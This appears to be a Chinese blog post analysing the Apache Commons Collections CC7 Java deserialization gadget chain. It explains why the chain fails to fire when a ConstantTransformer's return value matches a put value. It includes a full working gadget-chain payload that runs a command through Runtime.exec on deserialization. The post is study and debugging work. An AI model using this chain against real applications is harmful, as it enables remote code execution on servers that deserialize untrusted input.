CC7关于ConstantTransformer返回值不能和put一样的分析

CC7关于ConstantTransformer返回值不能和put一样的分析

前言

实验室的gaorenyusi也是学到cc7的时候问了我一个很好的问题,我当时学的时候没有在意,然后就去调试分析解决了一下

分析

首先是paylaod

package CC7;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;

public class CC7test {
    public static void main(String[] args)throws Exception {

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
        };

        ChainedTransformer cha = new ChainedTransformer(transformers);

        HashMap map1 = new HashMap();
        HashMap map2 = new HashMap();

        Map<Object, Object> Lazy1 = LazyMap.decorate(map1,cha);
        Lazy1.put("yy",3);
        Map<Object, Object> Lazy2 = LazyMap.decorate(map2,new ConstantTransformer(3));
        Lazy2.put("zZ",3);

        Hashtable hashtable = new Hashtable();
        hashtable.put(Lazy1,"ljl");
        hashtable.put(Lazy2,"oywl");

        Lazy2.remove("yy");

        Class<LazyMap> lazyMapClass = LazyMap.class;
        Field factoryField = lazyMapClass.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(Lazy2, cha);

        serilize(hashtable);
        deserilize("111.bin");
    }
    public static void serilize(Object obj)throws IOException {
        ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("111.bin"));
        out.writeObject(obj);
    }
    public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{
        ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));
        Object obj=in.readObject();
        return obj;
    }
}

就是利用我们的ConstantTransformer(3)来返回一个常数,导致不会恶意调用

但是我们发现一个问题,就是当我们的ConstantTransformer(3)返回值和我们的Lazy2.put(“zZ”,3);的value一样的时候是不会弹出计算器的,这是为什么呢?

我们调试分析一下

我们倒着来看,到底是哪里出现了问题

来到我们的readObject方法,按道理来讲是需要调用两次reconstitutionPut(table, key, value);才能触发我们的恶意方法

因为我们要触发equals,肯定是两个在比嘛,但是我们这里只触发了一次

image-20240629154757914

原因是我们的元素个数只要一个

image-20240629154851424

这个是和我们的输入流有关系的

 int elements = s.readInt();

我详细的跟进去看了一下

过于复杂了,是根据我们的buf也就是输入流

这里我直接把值给拿出来了,这个buf就是我们的hashtable,只有一个地方不一样,就是我们的1和2

也对应着我们的elements

[0, 0, 0, 11, 0, 0, 0, 1, 100, 114, 72, 97, 115, 104, 116, 97, 98, 108, 101, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 其他 924 个]

[0, 0, 0, 11, 0, 0, 0, 2, 100, 114, 72, 97, 115, 104, 116, 97, 98, 108, 101, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 其他 924 个]

那我们就回到序列化过程,找找和ConstantTransformer相关的地方,无疑是我们的第二个put调用equals的时候触发了它的transfrom方法返回了3

重点来到

if (!value.equals(m.get(key)))
        return false;
}

触发我们的transform返回了3

image-20240629155442588

而我们put的value也是3,倒着这个if不成立最后返回了ture

如果返回为ture的话这里就会认为是一个old的对象,判断和我们的前面是一样的,是不会去调用addEntry给table增加键值对的,问题的根源就在这个地方了,倒着我们反序列化的时候元素只有一个

image-20240629155607150

里就会认为是一个old的对象,判断和我们的前面是一样的,是不会去调用addEntry给table增加键值对的,问题的根源就在这个地方了,倒着我们反序列化的时候元素只有一个

[外链图片转存中…(img-bO6s0jZq-1719648119690)]

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值